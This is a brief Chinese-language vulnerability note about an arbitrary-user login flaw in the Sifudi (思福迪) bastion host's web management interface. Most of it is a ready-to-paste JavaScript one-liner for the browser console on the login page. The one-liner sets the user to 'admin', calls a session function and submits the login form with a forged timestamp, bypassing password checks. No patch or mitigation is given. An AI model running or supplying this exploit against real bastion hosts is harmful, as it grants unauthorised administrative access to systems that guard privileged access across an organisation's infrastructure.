漏洞描述:
思福迪堡垒机存在任意用户登录漏洞,恶意攻击者可以绕过堡垒机的密码登录验证机制,以任意用户身份随意登录堡垒机Web管理界面,并可以正常的使用权限去操作。快速利用代码,在登录界面F12 Console:document.getElementById("uCode").value="admin";set_session();document.getElementsByName("frm")[0][2].value="2019-01-01 10:10:10";document.getElementsByName("frm") [0].submit();